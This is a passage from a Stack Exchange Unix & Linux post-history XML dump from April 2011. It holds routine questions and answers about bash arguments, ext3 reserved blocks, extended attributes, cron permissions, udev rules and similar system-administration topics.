it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28214" PostHistoryTypeId="5" PostId="11381" RevisionGUID="5fa45765-d293-4d99-ad81-a3eda59cb342" CreationDate="2011-04-19T10:39:37.103" UserId="2343" Comment="added 14 characters in body" Text="I don't quite know why you don't just use $1 $2, etc.. &#xD;&#xA;but..  This may suit your needs.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ script &quot;ed    it&quot; &quot;cat/dog&quot;  33.2  \D  &#xD;&#xA;&#xD;&#xA;      echo &quot;-------- Either use 'indirect reference'&quot;&#xD;&#xA;      for ((i=1;i&lt;=${#@};i++)) ;do&#xD;&#xA;        # My original: eval echo \&quot;\${$i}\&quot; ...works, but as *pepoluan* &#xD;&#xA;        #+ has pointed out: echo &quot;${!i}&quot; ...is better.&#xD;&#xA;        echo &quot;${!i}&quot;&#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use an array&quot;&#xD;&#xA;      array=(&quot;$@&quot;)&#xD;&#xA;      for ((i=0;i&lt;${#array[@]};i++)) ;do&#xD;&#xA;        echo &quot;${array[$i]}&quot; &#xD;&#xA;      done&#xD;&#xA;      echo &quot;-------- OR use 'set'&quot;&#xD;&#xA;      set  &quot;$@&quot;&#xD;&#xA;      echo &quot;$1&quot;&#xD;&#xA;      echo &quot;$2&quot;&#xD;&#xA;      echo &quot;$3&quot;&#xD;&#xA;      echo &quot;$4&quot;&#xD;&#xA;&#xD;&#xA;output &#xD;&#xA;&#xD;&#xA;      -------- Either use 'indirect reference'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use an array&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;      -------- OR use 'set'&#xD;&#xA;      ed    it&#xD;&#xA;      cat/dog&#xD;&#xA;      33.2&#xD;&#xA;      D&#xD;&#xA;&#xD;&#xA;`set` works of anything  which follows it, to create $1, $2.. etc.. &#xD;&#xA;This will of course override the original values, so just be aware of that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28215" PostHistoryTypeId="5" PostId="11616" RevisionGUID="c49dc0df-eab5-46ef-b1cb-46220f901e1e" CreationDate="2011-04-19T10:56:10.587" UserId="2343" Comment="added 68 characters in body" Text="UPDATE: **Mat** has got the right idea... this solution only works for odd numbers of &quot;/&quot;  &#xD;&#xA;&#xD;&#xA;it does *not* need &quot;extglob&quot; to be set.  &#xD;&#xA;&#xD;&#xA;var=&quot;$PWD///&quot;; var=&quot;${var//\/\//}&quot; ; echo &quot;$var&quot;" />
  <row Id="28216" PostHistoryTypeId="5" PostId="11616" RevisionGUID="4a15a445-19d3-4d0b-8ad0-8d7a5319a23a" CreationDate="2011-04-19T11:05:54.127" UserId="2343" Comment="added 4 characters in body; deleted 4 characters in body" Text="UPDATE: **Mat**(+1) has got the right idea... my answer only works for odd numbers of &quot;/&quot;  &#xD;&#xA;&#xD;&#xA;it does *not* need &quot;extglob&quot; to be set.  &#xD;&#xA;&#xD;&#xA;var=&quot;$PWD///&quot;; var=&quot;${var//\/\//}&quot; ; echo &quot;$var&quot;" />
  <row Id="28217" PostHistoryTypeId="2" PostId="11618" RevisionGUID="3e4fb4e9-65f6-4a93-8a5a-72a638c559dc" CreationDate="2011-04-19T11:53:51.963" UserId="2333" Text="I was looking through old questions here just last night for this issue. [This post][1] suggests putting the `xmodmap ~/.Xmodmap` line in `~/.xsessionrc` and making sure `/etc/X11/xsession.options` contains the line `allow-user-xsession`.&#xD;&#xA;&#xD;&#xA;I haven't rebooted since then to test it, however.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1677/why-wont-my-xmodmap-command-run-on-startup-login" />
  <row Id="28218" PostHistoryTypeId="2" PostId="11619" RevisionGUID="a127e2c0-91f2-4f91-bee2-0392f1ac8ca9" CreationDate="2011-04-19T11:54:46.670" UserId="3082" Text="The only thing would be gimp. Better would be to get the original source and edit it. Or OCR it, and then tweak it by hand. Or re-type it. " />
  <row Id="28219" PostHistoryTypeId="25" PostId="11613" RevisionGUID="49384045-2bf3-41a8-9468-d1e55cfd1560" CreationDate="2011-04-19T12:09:10.123" Comment="http://twitter.com/#!/StackUnix/status/60313988432543744" />
  <row Id="28220" PostHistoryTypeId="2" PostId="11620" RevisionGUID="497a8332-1c36-47a8-a3c9-853cc84cd5aa" CreationDate="2011-04-19T12:14:27.933" UserId="6738" Text="Hi,&#xD;&#xA;&#xD;&#xA;I wondered about some missing space on my ext3 partition and, after some googling, found that debian based ubuntu reserves 5% of the size for root.&#xD;&#xA;&#xD;&#xA;I also found posts describing how to change that size via tune2fs utility.&#xD;&#xA;&#xD;&#xA;Now I've got 2 questions, that I didn't find clear answers for: &#xD;&#xA;&#xD;&#xA;- should I unmount the partition before changing the reserved space. what could happen if I don't?&#xD;&#xA;&#xD;&#xA;- how much space should I reserve for the filesystem, so that it can operate efficiently?&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="28221" PostHistoryTypeId="1" PostId="11620" RevisionGUID="497a8332-1c36-47a8-a3c9-853cc84cd5aa" CreationDate="2011-04-19T12:14:27.933" UserId="6738" Text="how much space to reserve on ext3 filesystem to prevent fragmentation issues?" />
  <row Id="28222" PostHistoryTypeId="3" PostId="11620" RevisionGUID="497a8332-1c36-47a8-a3c9-853cc84cd5aa" CreationDate="2011-04-19T12:14:27.933" UserId="6738" Text="éext3àéext2à" />
  <row Id="28223" PostHistoryTypeId="2" PostId="11621" RevisionGUID="e3f0e51b-b291-43d6-8990-feae6d09e561" CreationDate="2011-04-19T12:33:47.640" UserId="1078" Text="Here's a modern Linux method:&#xD;&#xA;&#xD;&#xA;    ip -o link show dev eth0 | grep -Po 'ether \K[^ ]*'&#xD;&#xA;&#xD;&#xA;It's modern in that `ifconfig` has [long been deprecated][1] in favour of `ip` from the `iproute2` package, and that `grep` has the `-P` option for perl regular expressions for the [zero-width positive look-behind assertion][2].&#xD;&#xA;&#xD;&#xA;`grep -o` is nice for text extraction. `sed` is traditionally used for that but I find the perl-style zero-width assertions clearer than a sed substitution command.&#xD;&#xA;&#xD;&#xA;You don't actually need the `-o` (oneline) option to `ip`, but I prefer to use it when extracting network information since I find it cleaner having one record per line. If you're doing more complicated matches or extractions (usually with `awk`), `-o` is essential for a clean script, so for the sake of consistency and a common pattern, I always use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2&#xD;&#xA;  [2]: http://perldoc.perl.org/perlre.html#%28?%3C=pattern%29-%5CK" />
  <row Id="28224" PostHistoryTypeId="2" PostId="11622" RevisionGUID="0e600ad4-60f5-4d71-948f-60db412a75b7" CreationDate="2011-04-19T12:46:27.387" UserId="6739" Text="Hey,&#xD;&#xA;&#xD;&#xA;I have a small question about extended file attributes. Assume I label my files with metadata in extended attributes (e.g. to account for the integrity - but this does not matter for my question). The questions that arise now:&#xD;&#xA;&#xD;&#xA; - Where are these attributes stored? Surely not in the inode I guess, but in what location - or better: structure?&#xD;&#xA; - How are these attributes connected to a file? Is there a link from the attribute structture to the inode or so?&#xD;&#xA; - What happens when copying/moving around files? I just tested it, when moving a file, the file remains its attributes. When copying it, the copy does not have attributes. So I assume whe burning it to CD or emailing the file, it will also lose its attributes?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28225" PostHistoryTypeId="1" PostId="11622" RevisionGUID="0e600ad4-60f5-4d71-948f-60db412a75b7" CreationDate="2011-04-19T12:46:27.387" UserId="6739" Text="Questions about extended attributes" />
  <row Id="28226" PostHistoryTypeId="3" PostId="11622" RevisionGUID="0e600ad4-60f5-4d71-948f-60db412a75b7" CreationDate="2011-04-19T12:46:27.387" UserId="6739" Text="éfilesystemsàéfilesàéextendedà" />
  <row Id="28227" PostHistoryTypeId="2" PostId="11623" RevisionGUID="46e530ed-d79e-4df8-b537-4633f6f39ec1" CreationDate="2011-04-19T13:10:56.507" UserId="6740" Text="I have a development server that I leave running all the time, and a development laptop that I turn off/on everyday.&#xD;&#xA;&#xD;&#xA;I have a GUI application on the server that I'd like to run over SSH -X, and I'd like to leave it running even when my dev laptop is powered off.&#xD;&#xA;&#xD;&#xA;Is there a way to detach and then re-attach to that application over SSH -X?&#xD;&#xA;&#xD;&#xA;I'd prefer not to use VNC in my case." />
  <row Id="28228" PostHistoryTypeId="1" PostId="11623" RevisionGUID="46e530ed-d79e-4df8-b537-4633f6f39ec1" CreationDate="2011-04-19T13:10:56.507" UserId="6740" Text="Detach/reattach an application run on X over SSH?" />
  <row Id="28229" PostHistoryTypeId="3" PostId="11623" RevisionGUID="46e530ed-d79e-4df8-b537-4633f6f39ec1" CreationDate="2011-04-19T13:10:56.507" UserId="6740" Text="ésshàéx11àéguià" />
  <row Id="28230" PostHistoryTypeId="17" PostId="11625" RevisionGUID="d3f877c1-e7da-4cd7-b3a8-ca24ea8b7487" CreationDate="2011-04-19T13:33:28.690" UserId="-1" Comment="from http://stackoverflow.com/questions/5713345/cron-daemon-error-permission-denied/5713388#5713388" Text="" />
  <row Id="28231" PostHistoryTypeId="2" PostId="11625" RevisionGUID="a110db71-02f3-4f41-8089-8e9782e58f4c" CreationDate="2011-04-19T08:07:06.347" UserDisplayName="sjr" Text="Is `submit_cron_test.sh` owned by you? Only the owner can execute it directly. Prepending `/bin/sh` causes the `sh` command to read the script from the file, which any user can do.&#xD;&#xA;&#xD;&#xA;You can do `chmod a+x` on the `submit_cron_test.sh` file.&#xD;&#xA;&#xD;&#xA;Also does your script have a shebang (e.g. `#!/bin/sh`) line?" />
  <row Id="28232" PostHistoryTypeId="2" PostId="11624" RevisionGUID="19c7683a-5d48-4144-8297-f30c4c14c1d4" CreationDate="2011-04-19T08:03:48.813" UserDisplayName="MWright" Text="I am having trouble setting up a cron job. My set up is as follows:&#xD;&#xA;&#xD;&#xA;    crontab -e&#xD;&#xA;    &#xD;&#xA;    */10 * * * * OTP_ProJect/PandaServerInfo/SVN/PandaQueueMonitoring/trunk/submit_cron_test.sh&#xD;&#xA;&#xD;&#xA;the shell script has permissions:&#xD;&#xA;&#xD;&#xA;    -rwxr--r-- 1 submit_cron_test.sh&#xD;&#xA;&#xD;&#xA;submit_cron_test.sh submits a python script:&#xD;&#xA;&#xD;&#xA;    python2.5 ProcessPlant.py --test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The error I am receiving is as follows:&#xD;&#xA;&#xD;&#xA;    /bin/sh: /OTP_ProJect/PandaServerInfo/SVN/PandaQueueMonitoring/trunk/submit_cron_test.sh: Permission denied&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have tried the command&#xD;&#xA;&#xD;&#xA;    /bin/sh /OTP_ProJect/PandaServerInfo/SVN/PandaQueueMonitoring/trunk/submit_cron_test.sh&#xD;&#xA;&#xD;&#xA;and this works fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Has anyone got any ideas, because I have ran out. :-(&#xD;&#xA;" />
  <row Id="28233" PostHistoryTypeId="1" PostId="11624" RevisionGUID="19c7683a-5d48-4144-8297-f30c4c14c1d4" CreationDate="2011-04-19T08:03:48.813" UserDisplayName="MWright" Text="Cron daemon error : Permission Denied" />
  <row Id="28234" PostHistoryTypeId="3" PostId="11624" RevisionGUID="19c7683a-5d48-4144-8297-f30c4c14c1d4" CreationDate="2011-04-19T08:03:48.813" UserDisplayName="MWright" Text="élinuxàébashàéshellàécronà" />
  <row Id="28235" PostHistoryTypeId="17" PostId="11624" RevisionGUID="8f700cb6-9094-482e-93c6-b99e7ecb0f04" CreationDate="2011-04-19T13:33:28.690" UserId="-1" Comment="from http://stackoverflow.com/questions/5713345/cron-daemon-error-permission-denied" Text="" />
  <row Id="28236" PostHistoryTypeId="2" PostId="11626" RevisionGUID="f57e19b0-a2f3-4d7c-b01d-7b322a47a6ec" CreationDate="2011-04-19T13:58:16.147" UserId="2567" Text="I'm adding a little to Tshepang:s answer.&#xD;&#xA;&#xD;&#xA;Since you can use uname -r and grep -v to remove the current kernel from the list.&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections | grep linux-image | grep -v `uname -r`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28237" PostHistoryTypeId="2" PostId="11627" RevisionGUID="337b1cb0-d138-45c3-9d76-647ad22a74c8" CreationDate="2011-04-19T14:05:40.623" UserId="1170" Text="I think [Xmove](http://en.wikipedia.org/wiki/Xmove) should be able to do what you want.&#xD;&#xA;&#xD;&#xA;Here is a [howto](http://www.dreness.com/blog/?p=35) (dated 2006)." />
  <row Id="28238" PostHistoryTypeId="2" PostId="11628" RevisionGUID="d6740e3d-ef6a-4fd5-8e93-5f25f8fdae7c" CreationDate="2011-04-19T14:06:52.130" UserId="5685" Text="Hi,&#xD;&#xA;&#xD;&#xA;The answer to you question is filesystem specific. For ext3, for example, have a look at [fs/ext3/xattr.c][1], it contains the following description:&#xD;&#xA;&#xD;&#xA;      16 /*&#xD;&#xA;      17  * Extended attributes are stored directly in inodes (on file systems with&#xD;&#xA;      18  * inodes bigger than 128 bytes) and on additional disk blocks. The i_file_acl&#xD;&#xA;      19 &#xD;&#xA;     * field contains the block number if an inode uses an additional block. All&#xD;&#xA;      20  * attributes must fit in the inode and one additional block. Blocks that&#xD;&#xA;      21  * contain the identical set of attributes may be shared among several inodes.&#xD;&#xA;      22  * Identical blocks are detected by keeping a cache of blocks that have&#xD;&#xA;      23  * recently been accessed.&#xD;&#xA;      24  *&#xD;&#xA;      25  * The attributes in inodes and on blocks have a different header; the entries&#xD;&#xA;      26  * are stored in the same format:&#xD;&#xA;      27  *&#xD;&#xA;      28  *   +------------------+&#xD;&#xA;      29  *   | header           |&#xD;&#xA;      30  *   | entry 1          | |&#xD;&#xA;      31  *   | entry 2          | | growing downwards&#xD;&#xA;      32  *   | entry 3          | v&#xD;&#xA;      33  *   | four null bytes  |&#xD;&#xA;      34  *   | . . .            |&#xD;&#xA;      35  *   | value 1          | ^&#xD;&#xA;      36  *   | value 3          | | growing upwards&#xD;&#xA;      37  *   | value 2          | |&#xD;&#xA;      38  *   +------------------+&#xD;&#xA;      39  *&#xD;&#xA;      40  * The header is followed by multiple entry descriptors. In disk blocks, the&#xD;&#xA;      41  * entry descriptors are kept sorted. In inodes, they are unsorted. The&#xD;&#xA;      42  * attribute values are aligned to the end of the block in no specific order.&#xD;&#xA;      43  *&#xD;&#xA;      44  * Locking strategy&#xD;&#xA;      45  * ----------------&#xD;&#xA;      46  * EXT3_I(inode)-&gt;i_file_acl is protected by EXT3_I(inode)-&gt;xattr_sem.&#xD;&#xA;      47  * EA blocks are only changed if they are exclusive to an inode, so&#xD;&#xA;      48  * holding xattr_sem also means that nothing but the EA block's reference&#xD;&#xA;      49  * count can change. Multiple writers to the same block are synchronized&#xD;&#xA;      50  * by the buffer lock.&#xD;&#xA;      51  */&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regarding the &quot;how are attributes connected&quot; question, the link is in the other way round, the inode has a link to the extended attributes, see `EXT3_XATTR_NEXT` and `ext3_xattr_list_entries` in xattr.h and xattr.c respectively.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To recap, the attributes are linked to the inode and are fs dependent, so yes, you will lose the attributes when burning a CD rom or emailing a file.&#xD;&#xA;&#xD;&#xA;  [1]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blob;f=fs/ext3/xattr.c;h=32e6cc23bd9ad69f1f280f5148f2a5c41ffd16ea;hb=HEAD&#xD;&#xA;" />
  <row Id="28239" PostHistoryTypeId="2" PostId="11629" RevisionGUID="3624d118-0efe-4ef9-82fd-13da4a833b35" CreationDate="2011-04-19T14:10:17.703" UserId="2000" Text="Check out schroot which can chroot into a folder as user.&#xD;&#xA;Here the man page for it: http://manpages.ubuntu.com/manpages/hardy/man1/schroot.1.html" />
  <row Id="28240" PostHistoryTypeId="2" PostId="11630" RevisionGUID="d8fa83d3-fc71-42f9-a792-04f4472a813a" CreationDate="2011-04-19T14:28:50.787" UserId="5770" Text="You don't need to unmount the partition prior to doing this. Regarding question two, *it depends*. As HDDs have grown in size, so has the total amount of disk space that's reserved for root. If you have a 2 TB HDD and it's totally used for /, then I would say you could quite safely tune it down to 1% by doing this:&#xD;&#xA;&#xD;&#xA;`$ sudo tune2fs -m 1 /dev/sda*X*`&#xD;&#xA;&#xD;&#xA;A smaller drive in the region of 320 GB I'd probably leave as is.&#xD;&#xA;&#xD;&#xA;Keep in mind that drives that are for data storage purposes don't really need all this space reserved for root. In this case you can change the number of reserved blocks like this:&#xD;&#xA;&#xD;&#xA;`$ sudo tune2fs -r 20000 /dev/sdb*X*`&#xD;&#xA;&#xD;&#xA;Hope that helps." />
  <row Id="28241" PostHistoryTypeId="5" PostId="11630" RevisionGUID="89096e90-deb2-45c3-b80c-b195dc33bccd" CreationDate="2011-04-19T14:38:38.470" UserId="5770" Comment="slightly more info and a quote; deleted 6 characters in body" Text="You don't need to unmount the partition prior to doing this. Regarding question two, *it depends*. As HDDs have grown in size, so has the total amount of disk space that's reserved for root. If you have a 2 TB HDD and it's totally used for /, then I would say you could quite safely tune it down to 1% by doing this:&#xD;&#xA;&#xD;&#xA;`$ sudo tune2fs -m 1 /dev/sda*X*`&#xD;&#xA;&#xD;&#xA;A smaller drive in the region of 320 GB I'd probably leave as is.&#xD;&#xA;&#xD;&#xA;Keep in mind that drives that are for data storage purposes don't really need all this space reserved for root. In this case you can change the number of reserved blocks like this:&#xD;&#xA;&#xD;&#xA;`$ sudo tune2fs -r 20000 /dev/sdb*X*`&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;&#xD;&#xA;EDIT: Regarding fragmentation issues, ext file systems are inherently immune to fragmentation issues. To quote Theodore Ts'o:&#xD;&#xA;&#xD;&#xA;&gt;If you set the reserved block count to zero, it won't affect performance much except if you run for long periods of time (with lots of file creates and deletes) while the filesystem is almost full (i.e., say above 95%), at which point you'll be subject to fragmentation problems. Ext4's multi-block allocator is much more fragmentation resistant, because it tries much harder to find contiguous blocks, so even if you don't enable the other ext4 features, you'll see better results simply mounting an ext3 filesystem using ext4 before the filesystem gets completely full." />
  <row Id="28242" PostHistoryTypeId="25" PostId="11623" RevisionGUID="71ece4f2-827a-4520-8d5d-243caaf5857e" CreationDate="2011-04-19T15:09:09.947" Comment="http://twitter.com/#!/StackUnix/status/60359286492106752" />
  <row Id="28243" PostHistoryTypeId="2" PostId="11631" RevisionGUID="54f8c062-5d89-48c0-803c-8bd1c0fbf34b" CreationDate="2011-04-19T15:26:35.873" UserId="4856" Text="I have a Ubuntu 10.10 (x86) system which I use to test GNU Radio applications. I have successfully been using a USRP1 with a USB2.0 connection for some time now, yet at some point yesterday it appears to have stopped working.&#xD;&#xA;&#xD;&#xA; - With `lsusb` I don't even see the device listed anymore. I tried multiple ports with no luck.&#xD;&#xA; - A USB1.0 mouse seems to work fine.&#xD;&#xA; - Windows XP seems to recognize the device (no driver, but I see the device ID)&#xD;&#xA; - USRP works fine on my Fedora machine&#xD;&#xA; - tried different cables and another USRP&#xD;&#xA;&#xD;&#xA;This is a rather old laptop, so part of me thinks the hardware may just be dying. However, Windows still at least recognizes the USRP, so I am hopeing maybe a driver install will fix the problem.&#xD;&#xA;&#xD;&#xA;So, a USB mouse works fine, but somehow my USB2.0 based USRP stopped working. How can I debug this problem? Can I somehow reinstall the USB2.0 drivers?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="28244" PostHistoryTypeId="1" PostId="11631" RevisionGUID="54f8c062-5d89-48c0-803c-8bd1c0fbf34b" CreationDate="2011-04-19T15:26:35.873" UserId="4856" Text="USB2.0 device not recognized anymore" />
  <row Id="28245" PostHistoryTypeId="3" PostId="11631" RevisionGUID="54f8c062-5d89-48c0-803c-8bd1c0fbf34b" CreationDate="2011-04-19T15:26:35.873" UserId="4856" Text="éubuntuàéusbà" />
  <row Id="28246" PostHistoryTypeId="2" PostId="11632" RevisionGUID="625387c6-4699-44a8-82a0-ad9982a84709" CreationDate="2011-04-19T05:32:45.983" UserDisplayName="dawmail333" Text="I'm running LXDE on Mint atm, and I was wondering if there is a practical way to make the meta key open the menu up, somewhat like it does in Windows." />
  <row Id="28247" PostHistoryTypeId="1" PostId="11632" RevisionGUID="625387c6-4699-44a8-82a0-ad9982a84709" CreationDate="2011-04-19T05:32:45.983" UserDisplayName="dawmail333" Text="How do I make the 'meta' key open the app menu?" />
  <row Id="28248" PostHistoryTypeId="3" PostId="11632" RevisionGUID="625387c6-4699-44a8-82a0-ad9982a84709" CreationDate="2011-04-19T05:32:45.983" UserDisplayName="dawmail333" Text="émenuà" />
  <row Id="28249" PostHistoryTypeId="17" PostId="11632" RevisionGUID="3c4474df-2b07-4fd4-870c-98d4d785d581" CreationDate="2011-04-19T15:28:14.133" UserId="-1" Comment="from http://askubuntu.com/questions/35880/how-do-i-make-the-meta-key-open-the-app-menu" Text="" />
  <row Id="28250" PostHistoryTypeId="6" PostId="11631" RevisionGUID="c91d4c0a-fca5-468a-8148-61610dd15f32" CreationDate="2011-04-19T15:34:47.150" UserId="4856" Comment="edited tags" Text="élinuxàéubuntuàéusbà" />
  <row Id="28251" PostHistoryTypeId="5" PostId="11561" RevisionGUID="70560e1e-5aca-4f1a-9f23-3494e1813140" CreationDate="2011-04-19T15:42:40.140" UserId="2421" Comment="mention DenyHosts" Text="[`fail2ban`][1] does that, although I don't think it's the only such tool.  ([Amazed][2] mentioned [DenyHosts][3], although it seems to be SSH specific.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fail2ban.org/&#xD;&#xA;  [2]: http://unix.stackexchange.com/users/5535/amazed&#xD;&#xA;  [3]: http://denyhosts.sourceforge.net/" />
  <row Id="28252" PostHistoryTypeId="2" PostId="11633" RevisionGUID="d8da8e7d-5c4a-4796-9808-a3b9dc3ecc2e" CreationDate="2011-04-19T15:53:55.783" UserId="4856" Text="Well, this was a UDEV issue. The USRP could only be used as root by default, the following will create UDEV rules for a normal user.&#xD;&#xA;&#xD;&#xA;    sudo addgroup usrp&#xD;&#xA;    sudo usermod -G usrp -a &lt;YOUR_USERNAME&gt;&#xD;&#xA;    echo 'ACTION==&quot;add&quot;, BUS==&quot;usb&quot;, SYSFS{idVendor}==&quot;fffe&quot;, SYSFS{idProduct}==&quot;0002&quot;, GROUP:=&quot;usrp&quot;, MODE:=&quot;0660&quot;' &gt; tmpfile&#xD;&#xA;    sudo chown root.root tmpfile&#xD;&#xA;    sudo mv tmpfile /etc/udev/rules.d/10-usrp.rules&#xD;&#xA;&#xD;&#xA;From gnuradio.org:&#xD;&#xA;&#xD;&#xA;&gt; Ubuntu uses udev for handling hotplug devices, and does not by default provide non-root access to the USRP.&#xD;&#xA;&#xD;&#xA;I tried reloading the rules, but I had to reboot in order for everything to work." />
  <row Id="28254" PostHistoryTypeId="2" PostId="11635" RevisionGUID="b3d0fbcd-2526-4d1f-8c6d-06efffd2fca5" CreationDate="2011-04-19T16:15:45.100" UserId="4520" Text="For a small network I would use `dnsmasq`.  It performs well for both DNS and DHCP.   It does self registration internally, so the client does not need to register.  This is more secure.  There are configuration options to specify another server should be consulted for a domain.  It will serve static address via DHCP either via configuration or `/etc/ethers`. Local static names are loaded from `/etc/hosts` and/or any other file you configure.&#xD;&#xA;&#xD;&#xA;I haven't examined any of the other DHCP servers to see if they support registering with bind. &#xD;&#xA;&#xD;&#xA;It has been my experience the that the DHCP client packages on Linux do support BIND.  However, it registering with the name server is often not enabled by default.  Linux has a history of being used more as a sever where the IP address will be static (even if served by DHCP).  Linux desktops are becoming more frequent, and if I were rolling them out in a corporate environment I might enable registration.&#xD;&#xA;&#xD;&#xA;Enabling DHCP registration in bind risks DNS hijacking.  It is best to use a separate domain for dynamic addresses.  To use client registration, it must be enabled in the bind configuration.&#xD;&#xA;" />
  <row Id="28255" PostHistoryTypeId="5" PostId="11584" RevisionGUID="9d16c49e-020b-46ca-b76e-19246d4c2e2b" CreationDate="2011-04-19T16:24:46.373" UserId="6722" Comment="deleted 1 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am designing a logging and reporting system for a web application.  &#xD;&#xA;Within the web application some events can happen (&quot;user logged in&quot;, &quot;user performed action X&quot;, etc..).  &#xD;&#xA;I would	like the application to	log these events in a flat log file.  &#xD;&#xA;Then I would like to write another program that would periodically get run and extract data from this file to maintain a running aggregate report in a database table (like &quot;how many events of type X happen per hour&quot;, or &quot;get the daily total of event X&quot;).&#xD;&#xA;&#xD;&#xA;One of the challenges is to make sure that the reporting program doesn't process the same line twice.&#xD;&#xA;&#xD;&#xA;Is there a Unix	way to design this type of system or to deal with the &quot;keep track of lines already processed&quot; kind of problem?&#xD;&#xA;&#xD;&#xA;I already thought about	rotating the logs just before processing them and assigning unique line numbers to each line, but they both seem hacky.&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="28256" PostHistoryTypeId="2" PostId="11636" RevisionGUID="16e9d4e1-84fb-47c5-a4ce-80e8bf6c8fa7" CreationDate="2011-04-19T16:26:26.783" UserId="5664" Text="	$ yum list | grep -i ppp&#xD;&#xA;	ppp.i686                                   2.4.5-12.fc14                @updates&#xD;&#xA;	rp-pppoe.i686                              3.10-6.fc12                  @fedora/$releasever&#xD;&#xA;	ppp-devel.i686                             2.4.5-12.fc14                updates &#xD;&#xA;	$ &#xD;&#xA;&#xD;&#xA;There isn't any pppoe server in Fedora 14?? Wow! Why?" />
  <row Id="28257" PostHistoryTypeId="1" PostId="11636" RevisionGUID="16e9d4e1-84fb-47c5-a4ce-80e8bf6c8fa7" CreationDate="2011-04-19T16:26:26.783" UserId="5664" Text="No pppoe-server in Fedora 14?" />
  <row Id="28258" PostHistoryTypeId="3" PostId="11636" RevisionGUID="16e9d4e1-84fb-47c5-a4ce-80e8bf6c8fa7" CreationDate="2011-04-19T16:26:26.783" UserId="5664" Text="élinuxàéfedoraà" />
  <row Id="28259" PostHistoryTypeId="2" PostId="11637" RevisionGUID="7d456deb-9498-4a5c-bd52-f2977e5858b8" CreationDate="2011-04-19T16:59:05.960" UserId="6745" Text="cd /serv  &#xD;&#xA;screen -R node  &#xD;&#xA;{in the screen}  &#xD;&#xA;node test.js  &#xD;&#xA;C^a d  &#xD;&#xA;&#xD;&#xA;initially,   &#xD;&#xA;ls -l /dev/pts  &#xD;&#xA;total 0  &#xD;&#xA;crw--w---- 1 tick-tock tty 136, 0 2011-04-19 16:41 0  &#xD;&#xA;crw--w---- 1 tick-tock tty 136, 1 2011-04-19 16:41 1  &#xD;&#xA;&#xD;&#xA;but after just a few seconds  &#xD;&#xA;ls -l /dev/pts  &#xD;&#xA;total 0  &#xD;&#xA;crw--w---- 1 tick-tock tty 136, 0 2011-04-19 16:47 0  &#xD;&#xA;crw--w---- 1 root      tty 136, 1 2011-02-21 20:00 1  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How is the screen's terminal getting switched to root? Does this mean the node server is actually running with root permissions? It shouldn't be. The only other factor that might be an issue is that iptables forwards port 80 to port 8000 where the node server listens, so it doesn't have to run as root. I apologize if this is the wrong place to ask this, perhaps I should ask in a node.js community?  &#xD;&#xA;&#xD;&#xA;I have not su root or done any sudo commands beforehand, either.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28260" PostHistoryTypeId="1" PostId="11637" RevisionGUID="7d456deb-9498-4a5c-bd52-f2977e5858b8" CreationDate="2011-04-19T16:59:05.960" UserId="6745" Text="Screen session running as root? (it shouldn't be) node.js" />
  <row Id="28261" PostHistoryTypeId="3" PostId="11637" RevisionGUID="7d456deb-9498-4a5c-bd52-f2977e5858b8" CreationDate="2011-04-19T16:59:05.960" UserId="6745" Text="épermissionsàéscreenàéiptablesà" />
  <row Id="28262" PostHistoryTypeId="5" PostId="11637" RevisionGUID="34399a8c-015e-476a-8e12-9f28d2f19eb4" CreationDate="2011-04-19T17:45:10.550" UserId="5842" Comment="code formatting only" Text="    cd /serv  &#xD;&#xA;    screen -R node  &#xD;&#xA;    {in the screen}  &#xD;&#xA;    node test.js  &#xD;&#xA;    C^a d  &#xD;&#xA;&#xD;&#xA;initially,   &#xD;&#xA;&#xD;&#xA;    ls -l /dev/pts  &#xD;&#xA;    total 0  &#xD;&#xA;    crw--w---- 1 tick-tock tty 136, 0 2011-04-19 16:41 0  &#xD;&#xA;    crw--w---- 1 tick-tock tty 136, 1 2011-04-19 16:41 1 &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;but after just a few seconds  &#xD;&#xA;&#xD;&#xA;    ls -l /dev/pts  &#xD;&#xA;    total 0  &#xD;&#xA;    crw--w---- 1 tick-tock tty 136, 0 2011-04-19 16:47 0  &#xD;&#xA;    crw--w---- 1 root      tty 136, 1 2011-02-21 20:00 1  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How is the screen's terminal getting switched to root? Does this mean the node server is actually running with root permissions? It shouldn't be. The only other factor that might be an issue is that iptables forwards port 80 to port 8000 where the node server listens, so it doesn't have to run as root. I apologize if this is the wrong place to ask this, perhaps I should ask in a node.js community?  &#xD;&#xA;&#xD;&#xA;I have not su root or done any sudo commands beforehand, either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
